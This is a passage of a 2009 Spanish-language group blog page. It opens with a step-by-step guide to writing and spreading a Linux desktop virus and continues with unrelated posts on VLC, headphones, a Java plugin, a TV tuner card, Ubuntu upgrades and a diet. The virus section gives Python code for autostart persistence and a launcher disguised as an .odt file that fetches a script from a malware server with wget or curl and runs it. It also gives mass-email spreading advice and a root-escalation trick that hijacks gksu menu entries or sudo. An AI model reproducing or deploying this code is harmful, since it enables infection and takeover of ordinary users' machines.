2. El malware necesita la capacidad de instalar un lanzador por sí mismo de modo que se inicia cuando el usuario inicia sesión como ya se mencionó, para Gnome que significa crear un lanzador en la descripción ~ /.config/carpeta automáticamente. Para KDE solo enlace a su ejecutable desde el directorio ~ /.kde/autostart . Para hacer que el código viral puede simplemente forzar la distribución y copiar de un lanzador o un enlace a sí mismo en ambas direcciones (creación de directorios en la ruta si no existe) o puede ser un poco mas inteligente y elegir hacer lo correcto basado en el entorno de escritorio que se detecte.

Por ejemplo, para crear el acceso directo de KDE, todo lo que necesita para escribir en Python es el siguiente:

import os
uname = os.getlogin()
drop_dir = “/home/%s/.kde/Autostart” % uname)
os.makedirs(drop_dir)
os.symlink("/home/%s/.local/.hidden/s.py" % uname, drop_dir+“/s.py")

Para Gnome el script de Python necesita escribir un lanzador en el directorio adecuado:

 import os

relauncher_str = """
[Desktop Entry]
Type=Application
Name=Malware
Exec=python .local/.hidden/s.py
Icon=system-run
"""
uname = os.getlogin()
drop_dir = “/home/%s/.config/autostart” % uname
os.makedirs(drop_dir)
f = open(drop_dir+”/Malware.desktop”, “w”)
f.write(relauncher_str)
f.close()

Escribir las entradas este auto ejecutable es probable que sean algunas de las primeras acciones que debe realizar su programa malicioso.

3. Ahora crear un lanzador en el escritorio para el archivo instalador del malware, es diferente que el lanzador que usamos para reiniciar el programa viral después de un reinicio del sistema. El lanzador de escritorio del instalador es lo que se enviaría como archivo adjunto en el correo electrónico dirigido al usuario. Es al que el usuario hace clic una vez guardado. Pruebe con algo como esto:

[Desktop Entry]
Type=Application
Name=some_text.odt
Exec=bash -c 'URL=http://www.my_malware_server.com/s.py ;
DROP=~/.local/.hidden ;
mkdir -p $DROP;
if [ -e /usr/bin/wget ] ;
then wget $URL -O $DROP/s.py ;
else curl $URL -o $DROP/s.py ; fi;
python $DROP/s.py'
Icon=/usr/share/icons/hicolor/48x48/apps/ooo-writer.png

Notese que hemos especificado un nombre de aspecto inofensivo e incluso opto por un icono que le hace parecer como un documento normal (este icono está presente tanto en los sistemas Ubuntu (Gnome) y Kubuntu (KDE) , pero que tampoco seria molesto en Fedora). Si pretendes enviar fotos de desnudos en el correo electrónico, basta con darle un nombre que lo hace sonar como una imagen (con algo. Jpg al final) eligiendo uno de los iconos estándar de imagen.

La linea del Ejecutable es ahora un poco más pequeña, tomado en cuenta la posibilidad de que este instalado wget o curl. Por ejemplo, en Ubuntu suelen tener wget, mientras que Fedora viene con curl. Así, pasamos las órdenes a bash con el fin de comprobar que uno de ellos está presente, a continuación llama al comando correcto para descargar el malware. No soy experto en bash, por lo que podría ser una forma mucho más eficiente para hacerlo. Sin embargo, usted puede tener otra forma de hacerlo. Asimismo, en esa línea estamos creando una buena ubicación para el script ($ DROP), que no es inmediatamente evidente. El comando mkdir con la opción -p crea discretamente cualquier directorio padre que sea necesario. La meta está en el directorio home del usuario, escondido en algún directorio local que apunte inocentemente y que sólo puede ser visto en caso de mostrar los archivos ocultos. El directorio /tmp, por supuesto, no es un buen lugar para nuestro programa malicioso, ya que se limpia con cada reinicio del sistema.

Guardar este archivo lanzador con el nombre que se a especificado pero añadir en la linea de Name '.desktop' al final del nombre de archivo real. Así pues, en nuestro caso, que guarde el archivo como 'some_text.odt.desktop ». Cuando lo coloques en tu escritorio, veras que GNOME o KDE lo tratarán de una manera especial, no se muestra la extensión'.desktop' . Así, el archivo sólo aparece como "some_text.odt». Por supuesto, eso también significa que el archivo adjunto de correo también tendrá esta intencional. Algunos usuarios pueden notarlo, pero muchos otros no.

4. Adjunte este archivo a un correo electrónico, pidiendo al destinatario guardarlo y abrir el archivo adjunto. Como se ha explicado anteriormente, una vez que se ha guardado solo aparecerá como "some_text.odt 'en el escritorio del usuario. Y con el icono que hemos elegido de dicho lanzador que parecerá inofensivo.

Se envía este mensaje a la mayor cantidad de direcciones de correo electrónico que puedas tener.

¡Voila! Un virus de Linux en 5 sencillos pasos. Cada usuario que abre y guarda el archivo adjunto que les han enviado recibirá su propio correo infectado con el script malware de tu elección, que también reinicia cada vez que el usuario se conecta de nuevo.

Esto fue fácil, ¿no?

Soluciones para el problema

La solución mas sencilla para evitar este tipo de problema es no solo no hacer clic en archivos adjuntos a ciegas, también conocer al que nos lo haya enviado. ¿Suena como una frase que siempre se escucha en el contexto de Windows con anterioridad? Observarlo. El punto es: Incluso en Linux estos consejos deberán ser tomadas en serio.

Un paso que podrá ser adoptado por desarrolladores de Gnome y KDE: Que los lanzadores tengan permisos de ejecución. Un archivo adjunto guardado no tendrá la misma facilidad. Por lo tanto, a pesar de que una sintaxis sea correcta y adecuadamente llamado lanzador y colocada en el escritorio de un usuario no pueda simplemente hacer clic sobre él e iniciarse si no estuviera establecido un poco para ejecutar.

En tercer lugar, deje de perpetuar el mito de que el malware y los virus son sólo un problema para Windows. Linux es - en principio - vulnerable, por supuesto. Aunque los usuarios no actúan con privilegios de root, en caso de que inadvertidamente ejecutaran solo una pequeña parte del malware entonces causaría mucho daño y automáticamente se procedería a instalarse. El simple hecho de que un archivo adjunto no se ejecutará como root no es una protección útil, como hemos visto. El hecho de que los archivos adjuntos no se guarden como parte de ejecución no es una protección suficiente, puesto que los entornos de escritorio modernos le permiten maniobrar cuidadosamente alrededor de esto.

La limitada cuota del mercado que los escritorio de Linux ofrece cierta protección. La mejor arquitectura de seguridad global ofrece más protección. Pero nada de eso es a prueba de engaños. Y con grandes despliegues de Linux en los lugares de interés - como las organizaciones gubernamentales - estas instalaciones son también de interés para los objetivos de los autores de malware.

¿Thunar?

Curiosamente, el gestor de archivos Thunar bajo xfce (Xubuntu 8.10) está haciendo algo que los administradores de archivos Gnome y KDE no están haciendo: Este puede marcar el lanzador del escritorio como archivo potencialmente viral y por tanto, evitar la ejecución a través de un simple clic. Esto funciona si el archivo adjunto se guardó dentro de Thunderbird o desde dentro de una base de un sistema de correo electrónico, como Yahoo Mail. ¿Alguien sabe qué hace aquí Thunar específicamente para llegar a la conclusión del 'malware'?

Como sea; confirmó que trabajara de forma normal, en la presencia de instalaciones Ubuntu 8.10, Kubuntu 8.10 y Fedora 10. Dado que se trata principalmente sobre la base en función de Gnome y KDE, supongo que la mayoría de las distribuciones que utilizan los ordenadores son vulnerables también.

Bootnote

Hace algún tiempo se lanzo un desafío para escribir un virus que sea capaz de infectar un sistema de escritorio Linux. El reto original que figuran dos salvedades importantes, aunque: En primer lugar, debería de ser capaz de infectar la máquina de la persona que escribió el reto. Nada se sabe acerca de esa máquina. Por ejemplo, no sabemos qué escritorio estaba funcionando. En segundo lugar, el virus debe ser capaz de escribir un archivo en el directorio /etc, a la que normalmente sólo root tiene acceso.

Me gustaría que el contenido de un virus para Linux fuera exitosa si es capaz de infectar a la instalación estándar de algunas de las distribuciones más populares. Sé que el enfoque que propongo será capaz de infectar a una instalación estándar de Ubuntu, Kubuntu y Fedora, por ejemplo.

En segundo lugar, como se ha señalado anteriormente, obtener privilegios de root no es necesario para infectar una computadora Linux. Bueno, ¿esto no es mas que en la cuenta del usuario que está infectado, ¿no? Sin embargo, si solo estamos hablando en su mayoría de computadoras de escritorio, sólo hay que ir a un único usuario. La distinción entre infectar el sistema (como root) o la cuenta de usuario (como el usuario) es totalmente académico, en el mejor de los casos. Esta es una infección práctica es lo mismo que decir "la máquina está infectada". Después de todo, el usuario está mayormente estará logueado y el malware se ejecutara siempre que sea este el caso. De todos modos, me puse en contacto con el autor de este desafío y le explique esta situación. Insiste en las normas originales establecidas en su desafío, sin embargo. Justo lo suficiente, es su reto y por tanto, sus reglas.

Entonces, ¿qué pasa si realmente se quiere hacer como root?

Apéndice: Cómo root

La obtención de privilegios de root son siempre consideradas un poco como el santo grial en peligro de otra máquina. Como hemos visto, que no lo tenga en realidad no es impedimento para tener oportunidad de virus, sin embargo. Pero sólo por complacer, permanente esbozar una forma de malware para obtener su root. Podría haber otras formas, pero esto es lo que se me ocurre por el momento.

Como sabrán, incluso los usuarios de Linux de escritorio normal de vez en cuando hacer cosas como root. En el caso de Ubuntu, por ejemplo, que va a utilizar "sudo" (o el equivalente gráfica gksu) de vez en cuando para llevar a cabo la administración del sistema. Tal vez para administrar usuarios, cambiar la fecha y la hora o para instalar software nuevo. Para muchos asuntos en el Sistema -> Administración menú se pedirá su contraseña. Por defecto, el usuario de un sistema de escritorio de Ubuntu tiende a ser el "administrador" del grupo, que a su vez se menciona en el archivo /etc/sudoers. Así, mediante la inserción de su propia contraseña puede realizar tareas con privilegios de root.

Así que, ahora, ¿cómo podemos sacar provecho de esto? Resulta que los elementos del menú de su escritorio Gnome son configurados individualmente en alguna parte. Quizás podamos piratear, que en lugar de synaptic (el gestor de paquetes gráfico) o cualquier otra utilidad que se ejecuta bajo sudo o gksu) nuestro buen archivo viral ¿se inicia en su lugar? ¿Después de que el usuario ha dado su contraseña para sudo? Pero como resulta que los elementos del menú se definen en un lugar al que sólo root tiene acceso de escritura. Echa un vistazo a /usr/share/applications. Allí se encuentra - de nuevo - un gran número de archivos de lanzador. Se trata de definir los distintos elementos del menú. Por ejemplo, eche un vistazo a synaptic.desktop. Puedes ver allí la siguiente línea:

Exec=gksu /usr/sbin/synaptic

Sí, así que podemos seguir adelante y editar ese, ¿no? Si nuestro programa malicioso podría ir y que a cambio:

Exec=gksu python .local/.hidden/s.py /usr/sbin/synaptics

Que nuestro software malicioso se ejecutara con privilegios de root. Tenga en cuenta que hemos pasado furtivamente por el nombre original del ejecutable (/usr/sbin/synaptics) a nuestros programas maliciosos, para que pueda arrancar synaptics después de que se hace permanentemente a sí mismo los privilegios de root o haciendo lo que quiere hacer como root. De esta forma el usuario no se convierte en sospechoso.

Pero, por desgracia, no podemos editar ese fichero. ¿Nuevamente corrimos con suerte? Afortunadamente, no. Gnome tiene la amabilidad de ver si podemos tener una definición local de alguno de los archivos de escritorio, debiendo invalidar todos los ajustes del sistema. E ir a ~ /.local/share/applications. Por lo tanto, usted puede copiar el archivo desde synaptic.desktop /usr/share/applications a ~ /.local/ share/ applications y realizar los cambios que desee sobre el mismo. Luego sólo hay que sentarse y esperar a la próxima vez que el usuario inicie synaptics y tu a lo tuyo.

Por supuesto, no tienes que limitarte a synaptics. Para tener oportunidad de ser ejecutada con privilegios de root, cualquiera de las aplicaciones en el menú de administración que requieren gksu sera un juego limpio. Y francamente, es probable que pueda hacer cambios similares e introducir gksu a muchos de los elementos de menú en Sistema -> Preferencias. Como usuario de Ubuntu que utilizan su contraseña para darla a gksu de vez en cuando. Si el usuario no presta atención, ni siquiera notará que sólo se le pregunta por su contraseña de alguna utilidad de la que nunca había pedido la contraseña antes.

Y para aquellos usuarios que gustan de utilizar el shell: Bueno, en este caso, el malware puede simplemente enredar su ruta y definir una 'tuned' de la versión 'sudo' en su ruta, que es ejecutado cada vez que escriba 'sudo'

Como puedes ver, esto no es garantía para hacerse de root (si el usuario no utiliza los programas), pero hay una buena probabilidad de que se consiga finalmente, si eres paciente.

Actualización, febrero 12, 2009: Esto realmente me sorprendió, si yo fuera la primera persona que tuviera esta vulnerabilidad. Mirando un poco en todo el Internet, no pude encontrar ninguna referencia de esto. Así, el editor de LWN.net hizo un mejor trabajo. Como se señala aquí, ha habido discusión sobre las vulnerabilidades introducidas para archivos .desktop ya en el 2006.

Nota: Posteo lo siguiente para resumir los puntos y comentarios que he recibido como parte de la abrumadora comentarios a este artículo. Por favor, lea este seguimiento antes (!) publicar un comentario, ya que algunos de lo que puede querer decir, puede que ya se han abordado.


Humoram / 17 - 03 - 2009 / 04:49 PM

taxi-sour
taxi-sour
taxi-sour
taxi-sour

08 / 03 / 2009

Humoram

Humoram@Humberto Morales Sánchez$ sl_

NOVUM & OBSOLET 16

Hola comunidad.

Aquí tienen nuevamente a Novum & Obsolet, disfrutenlo y espero comentarios :D.


ATTE

Humoram

Creative Commons License
This work is licensed under a Creative Commons Attribution-NoDerivs 2.5 License.

Humoram / 08 - 03 - 2009 / 10:29 PM

taxi-sour
taxi-sour
taxi-sour
taxi-sour

07 / 03 / 2009

bonovoxmofo

bonovoxmofo@Iván Alejandro Alemán Villasana$ sl_

VLC - sonido SI video NO

Recientemente una película que intentaba ver "Groundhog Day" era casi imposible de sincronizar con mi player de vídeo regular Xine, así que intente con VLC pero en este solo se escuchaba la pista de audio y la de video no se vei por ningun lado...

Haciendo un poco de investigacion con el amo de la informacion a.k.a. Mr. G. encotre algunas soluciones en foros, solo intente una y no funciono... asi que decidi ir al sitio oficial de la aplicacion y ahi encontre indicaciones de sus repos para Debian Sid, asi que inserte estas lineas en el archivo /etc/apt/sources.list

deb http://download.videolan.org/pub/videolan/debian sid main
deb-src http://download.videolan.org/pub/videolan/debian sid main
Actualice e instale con esto:
$ sudo apt-get update
$ sudo apt-get install vlc libdvdcss2
lo que resulto en una actualizacion de VLC y soluciono mi problema :)

Es hora de ver la pelicula, nos seguimos leyendo.

bonovoxmofo / 07 - 03 - 2009 / 12:00 AM

taxi-sour
taxi-sour
taxi-sour
taxi-sour

05 / 03 / 2009

bonovoxmofo

bonovoxmofo@Iván Alejandro Alemán Villasana$ sl_

Logitech V220


Ahora que ando de esplendido conmigo pues tambien decidi regalarme un mouse para mi lap, pues ultimamente me he visto mas en situaciones on-the-go y la verdad que el mousepad de mi Toshiba U350 no es muy comodo que digamos.

Me compre un Logitech V220 llevo un dia usandolo y ya se me hace un producto indispensable es de buen tamaño por lo que los que somos manos grandes no sudrimos tanto por no tener el tamaño de un mouse "normal" de oficina.

Tiene las caracteristicas basicas de todo mouse de estos tiempos, optico, ergonomico (ambidiestro), con scroll en cuatro direcciones y lo mejor "mira mami" sin cables :)

El verecdito es llevele llevele llevele que se acaban.

Saludos.

bonovoxmofo / 05 - 03 - 2009 / 05:11 PM

bonovoxmofo

bonovoxmofo@Iván Alejandro Alemán Villasana$ sl_

Sennheiser CX300 II





Un regalito que me di por mi cumple un buen par de audifonos on-the-go los Sennheiser CX300II.

Desde hace unos mese estaba buscando unos sustitutos para el par de audifonos que vienen con el iPod (que la verdad son bastante chafas, tanto en audio como en sonido), ninguno de los modelos en el mercado me convencian del todo por ahi creo que unos Griffin fueron fuertes candidatos pero pues en eso se quedaron nunca fui por ellos y estos Sennheiser solo los vi lei sus specs y me convencieron.

La verdad que no son muy caros pero tampoco son los mas accesibles $600 y feria en el OfficeDepot los hay en blanco y negro (los mios negros claro) y de entrada les puedo decir que son una gran sustitucion de cualquier audifonos excepto de mis Sennheiser RS130 (inalambricos) los sonidos son claros, brilantes, los bajos bien definidos y se aisla muy bien el ruido exterior con poco volumen (lo que conlleva a un ahorro en bateria en el iPod) en genera se sienten comodos y traen distitos tamaños de gomas para ajuste al tamaño de tu canal auricular.
Traen ademas un estuche para que los andes cargando aunque lo veo poco practico pues yo soyde los que amarra sus audifonos al rededor del iPod asi que ese lo usaremos para guardar monedas o algo u_U

Como ya dije los audifonos son comodos pero las gomitas son de baja calidad y el largo del cable me parece un poco corto, luego la forma asimetrica de los audifonos (un tanto para identificar facilmente cada lado R y L y tambien para eliminar peso) no me es muy comoda pero una vez puestos y "pushando" play en el reproductor estos bebes hacen su trabajo que la verdad es muy bueno.

Bueno modestp review, gracias a mi por el regalito.

Ahi se ven.

bonovoxmofo / 05 - 03 - 2009 / 04:58 PM

bonovoxmofo

bonovoxmofo@Iván Alejandro Alemán Villasana$ sl_

En visperas de mi cumpleaños.

Así es un día como mañana pero en Martes nací Yo :)

Desde ahora lo blogueo por es muy seguro que me pase desde mañana y el fin andaré celebrando ;) y el resto del mes jejejeje!!!

Ya han pasado 30 años aun parece que fue ayer cuando tenia 20 o 15 y antier que tenia 10 o 5 años, en fin no se puede parar el crecer ¡y que bueno! Aunque confieso que a veces si de miedito pero bueno se es flexible y adaptable.

Estos primeros 30 años han sido interesantes, de mucha experimentación muchos fracasos, aprendizajes y triunfos.

Y bueno... la vida sigue :DDD

¡Muchas felicidades a mi!!!

Algunos personajes Piscis:

Pisces personalities with different sign Mercury: (non-Piscean communication style)




Saludos a todos.

bonovoxmofo / 05 - 03 - 2009 / 03:42 PM

taxi-sour
taxi-sour
taxi-sour
taxi-sour

01 / 03 / 2009

Humoram

Humoram@Humberto Morales Sánchez$ sl_

Analisis Zync Hoteles de Destinia en Roses

Sitio: Hoteles de Destinia en Roses
Tema: Producto, entretenimiento, hobby, viajes.
Autor: Humoram

Hola Comunidad

Análisis de web es
ponsorizado



En esta ocasión les traigo el análisis de un sitio dedicado a la comodidad de búsqueda sobre Hoteles baratos en Roses; en si, es un sitio no fuera de lo común pero muy practico para localizar un buen Hotel no solo en Roses sino varios lugares y su clasificación estelar dependiendo el presupuesto que mejor acomode, además de estar actualizada para lo que es la Eurocopa 2008, la pagina cuenta con elección para 9 idiomas haciendo mas cómoda su visita, distintas ligas en la barra para aportar herramientas en la búsqueda de varios servicios y que todo lo que busques te de seguridad, una liga de foros para intercambiar comentarios, experiencias y demás opiniones , muy importante cuando se quiere conocer lo que alguien ha vivido en este lugar histórico de Roses.

Roses, como un lugar de historia, tiene orígenes desde el neolítico , identificado al estudio de sus restos datados desde 3000A.D, pasando a ser puertos importantes tanto para Griegos como Romanos, testigo de varias batallas a nivel naval en el trayecto de su fundación, lugar de templos Benedictinos y una ciudad comercial importante al grado de ser protegida por una ciudadela fortificada en el siglo XVI por Carlos I dada su posición geográfica, podemos encontrarla gracias a este mapa del Ayuntamiento de Roses y saber un poco mas de su historia en Roses (Gerona) , un buen lugar para visitar y llenarse no solo de diversión sino de conocimiento. Pueden darse una idea de lo que ofrece en cuanto a comodidad hotelera visitando su video en este enlace, en lo personal muestra en forma muy explícita lo que ofrecen los hoteles, pero para mi gusto faltaría un poco mas de vistosidad a este video.

Navegando un poco por la pagina visite lo que seria la Guía de viajes de Roses y en cada una de la secciones me dí cuenta que le falta información sobre cada uno, la liga de Cultura no tiene muchas opciones que visitar, esto aria que el visitante prefiriera visitar otros sitios para buscar mas información y aunque en la visita nocturna cuente con varios lugares y teléfonos de los establecimientos seria muy bueno poner ligas a estos lugares, igual que hicieran en la liga de Restaurantes que esta muy bien estructurada.

A mi parecer es un buen sitio para encontrar Hoteles y servicios en varios lugares de España; espero que este post sea útil para tener una buena herramienta de búsqueda a la hora de hospedarte en estos lugares de España.

Saludos
ATTE
Humoram

Humoram / 01 - 03 - 2009 / 09:29 AM

Humoram

Humoram@Humberto Morales Sánchez$ sl_

Se regala Asus EEE PC 4G, iPod Touch 8GB y un VPS

Hola comunidad.

Que interesante que la vida en Internet se vuelva ¡¡Interesante!!:D

Y para ser mas redundante, ¡¡que interesante!!, el que dos paginas, una de servicios CyberNETicos y un blog Pablogeo, premien con este tipo de regalos la presencia de quienes nos comunicamos por
estos medios.



























Un equipo muy profesional y así como sus servidores, dedicado a que no te preocupes por lo referente a hospedaje, ahorrandote también la búsqueda del dominio que hayas escogido.

La gran mayoría de las persona que escribimos blogs deseamos que la demás gente nos lean, para llevar algo de información y así compartirlo, me a tocado platicar con personas que en determinado momento menciona algún articulo citado en algún post, mencionando que lo vio en Internet, aquí lo interesante es que se forma un conjunto de opiniones y criticas que enriquecen la información, en lo personal no me gusta opinar de algo sin antes dar un recorrido así es que me di un paseo por:





Bien y cómo es que se realiza este concurso e aquí las bases.

Agradezco al blog por el cual me entere de esta nota
http://thebucio.org/
suerte a todos los participantes:D

Saludos

ATTE

Humoram

E usado uno de mis personajes de las tiras Novum & Obsolet, que se encuentran bajo la licencia:


Creative Commons License
This work is licensed under a Creative Commons Attribution-NoDerivs 2.5 License.

Humoram / 01 - 03 - 2009 / 09:26 AM

Humoram

Humoram@Humberto Morales Sánchez$ sl_

JAVA EN FIREFOX 3

Hola comunidad.

Después de una larga ausencia nuevamente estoy con ustedes.

En esta ocasión abriré este tema para platicar de como resolver ciertos detallitos que no eh encontrado en la web y que e ido solucionando en mi equipo, por si alguno de ustedes tiene el mismo problema, en esta ocasión el problema de tener instalado el plugin Java para Firefox 3.


Problema:
Descargue la versión Firefox 3 el cual descomprimo en mi carpeta personal, pero no tengo el plugin java, busco en Google pero en las paginas que me remite al problema y después de instalar por medio de aptitud todo lo necesario, me dicen que tengo que crear un link simbólico cargándolo desde /usr/java/ , e aquí el detalle ya que en mi árbol no tengo el directorio java en /usr.

Solución:
Instalar lo necesario:

$ sudo aptitude install sun-java6-jre sun-java6-plugin

$ sudo aptitude install sun-java6-plugin sun-java6-fonts

Entrar en la carpeta donde tienes Firefox 3:

$ cd /home/tuusuario/firefox/plugins/

Crear link simbolico:

$ sudo ln -s /usr/lib/jvm/java-6-sun-1.6.0.03/jre/plugin/i386/ns7/libjavaplugin_oji.so

Abro o reinicio Firefox 3 y pongo en la barra de dirección about:plugins para revisar que este cargado java y listo podre ejecutar alguna pagina con estos requisitos.

Esta es la forma en que lo solucione espero que les sea útil, espero sus comentarios y/o sugerencias y nos vemos en la próxima.

ATTE
Humoram

Humoram / 01 - 03 - 2009 / 08:59 AM

Humoram

Humoram@Humberto Morales Sánchez$ sl_

TARJETA DE TV EN UBUNTU

Hola comunidad.

En esta ocasión comentare lo que hice para que funcionara la tarjeta de Tv Terminator con chip Phillip, este método me ha funcionado desde Ubuntu Breezy Badger después de varias búsquedas, encontré un sitio que no eh vuelto a ver y es por eso que lo pongo aquí para alguien que lo pueda utilizar, esto es en especifico para esta tarjeta que esta soportada.

1.- Indicamos al Kernel que tipo de tarjeta tienes, modificamos:

$sudo gedit /etc/modprobe.d/options

agregamos:
#opciones para la tarjeta de captura de video con chip phillips
options saa7134 card=65 tuner=54

2.- Descarga y recarga el modulo saaa7134
$ sudo modprobe -r saa7134_alsa
$ sudo modprobe -r saa7134
$ sudo modprobe saa7134

3.- Cargamos el modulo saa7134 en:
$ sudo gedit /etc/modules

# /etc/modules: kernel modules to load at boot time.
#
# This file contains the names of kernel modules that should be loaded
# at boot time, one per line. Lines beginning with "#" are ignored.

fuse
lp
saa7134

3.- Editamos alsa-base para cargar el modulo de sonido en alsa:
$ sudo gedit /etc/modprobe.d/alsa-base

Buscamos esta linea y agregamos el identificador card=65 tuner=54:
Antes
# Load saa7134-alsa instead of saa7134 (which gets dragged in by it anyway)
install saa7134 /sbin/modprobe --ignore-install saa7134 $CMDLINE_OPTS && { /sbin/modprobe -Qb saa7134-alsa ; : ; }

Despues
# Load saa7134-alsa instead of saa7134 (which gets dragged in by it anyway)
install saa7134 /sbin/modprobe --ignore-install saa7134 $CMDLINE_OPTS && card=65 tuner=54 { /sbin/modprobe -Qb saa7134-alsa ; : ; }

Y listo regularmente después de instalar el Tvtime funciona si no solo hay que reiniciar, cuando ejecutes el tvtime el sonido estará en cero, solo tienes que darle a las flechas del teclado, la que va hacia la derecha para subir el volumen:

$ sudo aptitud install tvtime

En la instalación de Tvtime te pedir el origen de la señal, yo estoy en México así es que le pongo NT lo demas es cuestion de lógica dependiendo si tienes cable o antena aérea.

Espero que les sea útil y nos vemos en la próxima, no olviden dejar sus comentarios sugerencias o dudas.

ATTE
Humoram

Humoram / 01 - 03 - 2009 / 08:57 AM

Humoram

Humoram@Humberto Morales Sánchez$ sl_

DE GUTSY A INTREPID EN DOS PATADAS!!

Hola comunidad :):):)

Siento mucho esta larga ausencia, pero aquí estoy nuevamente, en este caso y comenzando el año 2009 deseando que sea lo máximo en todos los aspectos, una felicitación muy especial a Joel Barrios y familia por el nacimiento de su bebe y mil disculpas por no haberme reportado antes...en fin, pasaremos al tema del titulo.

Hace tiempo narre como me fue al actualizar directamente de Gutsy a Hardy cosa que se me hizo muy sencillo pero resulto con algunas complicaciones que no me gustaron mucho, como el uso del CPU se incrementaba mucho con el uso del Xorg, decidí entonces hacer una instalación limpia de Hardy pero no me reconoció mi tableta Wacom así es que decidí quitarme dolores de cabeza y regrese a una instalación limpia de Gutsy.

Así fue como me quede con ubuntu 7.10 durante un buen rato, probé varias configuraciones y lo que mas me importaba era mantener el CPU con carga baja, en determinados momentos el incremento del uso del CPU aumentaba con algunos programas específicos, sobre todo usando los navegadores y la prueba la desempeñe con Firefox 3.0, Flok ultima versión y Opera, que es con el que actualmente me quedo, incluso usando Compiz logre que la estabilidad del CPU se mantubiera fluctuando entre el 42% - 56%.

También decidí probar otros gestores de ventanas, la carga se aligero con XFCE4, Fvwm-Cristal y Enligthement en lugar de Gnome, entonces fue cuando salio la nueva versión 8.10 y deje que avanzaran un poco las opiniones sobre este y quise probarlo.

Como tengo muchas configuraciones y documentos en home pensé que seria bueno probar actualizando de Gutsy a Hardy y después a Intrepid y así lo hice.

Inicio mi aventura con este comando:

$ sudo update-manager -d

Aceptamos la actualizacion hacia Hardy y realmente es sencillo seguir cada uno de los pasos, eso si tendremos que ser pacientes para que la instalación finalice, en general casi todas las configuraciones de Gutsy se conserban, solo hay que esperar.

Cuando termine el proceso de actualizacion de Gutsy a Hardy entonces de la misma forma hacemos la actualizacion hacia Ibex.

Igualmente todo salio de maravilla, como mencione anteriormente las configuraciones originales se conservaron, se realiza seguidamente la actualizacion de nuevos paquetes y listo instale Conky un programa para revisar los procesos de la maquina ya que es mas ligero que Gkrellm.

Recordando lo que mencione anteriormente sobre el entorno que escoger, decidí buscar referencias sobre un gestor que se me hizo muy interesante ION3 este gestor lo conocí a través de un amigo y hasta ahora decidí usarlo.

Es un entorno muy sencillo pero poderoso y que ocupando con algunos programas ligeros maximisa el trabajo con personas que no gusten de efectos apantallantes, como los que ofrece Compiz, Mettise, etc... , además de que es un entorno bonito y muy configurable, en el cual te mueves a través de divisiones en frames, aprovechando el total de la pantalla e ideal para maquinas pequeñas.

A continuación expongo que programas elevan la carga del cpu arriba del 50%:

Tvtime, gkrellm, los plugins de Flash y alguna aplicacion de video, Amarok, eso es en mi caso.

Cuando sustituyo lo que es el Tvtime por Xdtv y Firefox por Opera la carga se nota diferente para monitorizar utilizo Conky y la diferencia es grande.

Me gustaria mucho que me comentaran como trabajan con sus entornos y si la vista importa mucho para trabajar en su sistema.

Muchos saludos comunidad.

ATTE

Humoram


Humoram / 01 - 03 - 2009 / 08:50 AM

Humoram

Humoram@Humberto Morales Sánchez$ sl_

NOVUM & OBSOLET 15

Hola comunidad.

Tantas ausencias hacen que se piense que Nobun & Obsolet se han quedado mas Obsolet que Novum sin embargo sigo buscando espacios para crear mas tiras para ustedes, muchos saludos y esta tira va dedicada al hijo de Joel Barrios y familia que lo acompañan aunque vaya que un poco tarde :D.

Espero que lo disfruten, en sus versiones Español e Ingles respectivamente.

ATTE

Humoram

Creative Commons License
This work is licensed under a Creative Commons Attribution-NoDerivs 2.5 License.

Humoram / 01 - 03 - 2009 / 06:09 AM

taxi-sour
taxi-sour
taxi-sour
taxi-sour

20 / 02 / 2009

TuXsOuL

TuXsOuL@Mario Oyorzábal Salgado$ sl_

FeedMyApp México - Directorio de aplicaciones web 2.0 .....

feedmyapp mexico

Hace tiempo que en internet se habló de la web 2.0, lo grandioso que sería las aplicaciones, un gran mérito en desarrollo fue que el usuario pueda interactuar más con aplicaciones dinámicas, acortando tiempo y ancho de banda, a muchos nos gustan las aplicaciones web 2.0 a otros no, creo que ahora ya hablan de la web 3.0, pero bueno, mi intensión es invitarlos para indexar aplicaciones web 2.0, orientadas o hechas por Méxicanos.

Muchos conocen feedmyapp, el cual es un directorio para indexar aplicaciones web 2.0, quienes lo visiten podrán observar un gran número de aplicaciones, la mayoría en inglés, algunas otras en otros idiomas.

Hace poco los creadores de feedmyapp comenzaron ha crear versiones locales, para cada país, con la posibilidad de indexar sus propias aplicaciones web 2.0, así paises como Chile, Argentina, México y otros más, tienen su propia versión local de feedmyapp, cada una claro con aplicaciones orientadas o creadas por personas de esos paises.

Cuando supe de este directorio, se me hizo interesante saber si en México existen aplicaciones web 2.0, claro aparte de los ya conocidos software libre, como por ejemplo jaws, comas (ahora con ruby, creo tongue.png ), y no se si existe otro por ahí, aplicaciones que permiten tener un servicio o sitio web 2.0 .

Por lo que estuve búscando en internet, encontre muy pocas aplicaciones, de las cuales ni conocia y ni sabia de ellas, así como también estuve leyendo articulos relacionados con que la web 2.0 en México estamos algo lejos y tardaria o núnca llegaría.

Aquién le gusten las aplicaciones web 2.0, los invito a darse una vuelta por el directorio en México, para conocer aplicaciones locales, a lo mejor ya las conocen, tal vez algunos no, o si estan desarrollando alguna aplicación o conocen alguna hecha en México u orientada para México pueden indexarla.

FeedMyApp México:
http://mx.feedmyapp.com

Sugerir una aplicación web:
http://mx.feedmyapp.com/site/submit

TuXsOuL / 20 - 02 - 2009 / 12:20 AM

taxi-sour
taxi-sour
taxi-sour
taxi-sour

12 / 02 / 2009

bonovoxmofo

bonovoxmofo@Iván Alejandro Alemán Villasana$ sl_

Dieta

Esta es una dieta que por ahi me diero o encontre ya no recuerdo... nunca la he usado la pongo aqui por si hay alguien que dese intentarlo, aqui vamos:

A los 20 minutos de haberse levantado tomar un "Snack 1-2-3":

1. Media manzana || 7 uvas grandes || 10 uvas pequeños
2. 2 rebanadas de jamon de pavo || 30grs de queso cottage
3. 3 almendras || 3 medias nueces

Desayuno y cena:

Fruta en cuadros con queso cottage un plato agregar granos crudos*
The || jugo natural || cafe descafeinado || leche deslactosada

Snack a media mañana:

Plato de frutas como el desayuno

Comida:

Carne: blanca ave (pavo o pollo), pescado (salmon)
Legumres: tipo tepanyaki (calabacita, zanahoria, chicharos, papas, brocoli, champiñon, paprika)
Frutas: papaya, ciruela pasa, jugo de naranja
Ensaladas verdes: lechuga, col, espinaca, germinados, paprika, jitomate (desinfectadas con microdyn)

Cena:

Parecida al desayuno o un Snack

NO REFRESCOS
NO PAN
NO TORTILLAS
BEBER AGUA ABUNDANTE

* Granos crudos: en un topper la mitad de avena, una cuarta parte de semilla de girasol y una cuarta parte de linaza y ajonjoli y almendras.

bonovoxmofo / 12 - 02 - 2009 / 05:32 PM

bonovoxmofo

bonovoxmofo@Iván Alejandro Alemán Villasana$ sl_

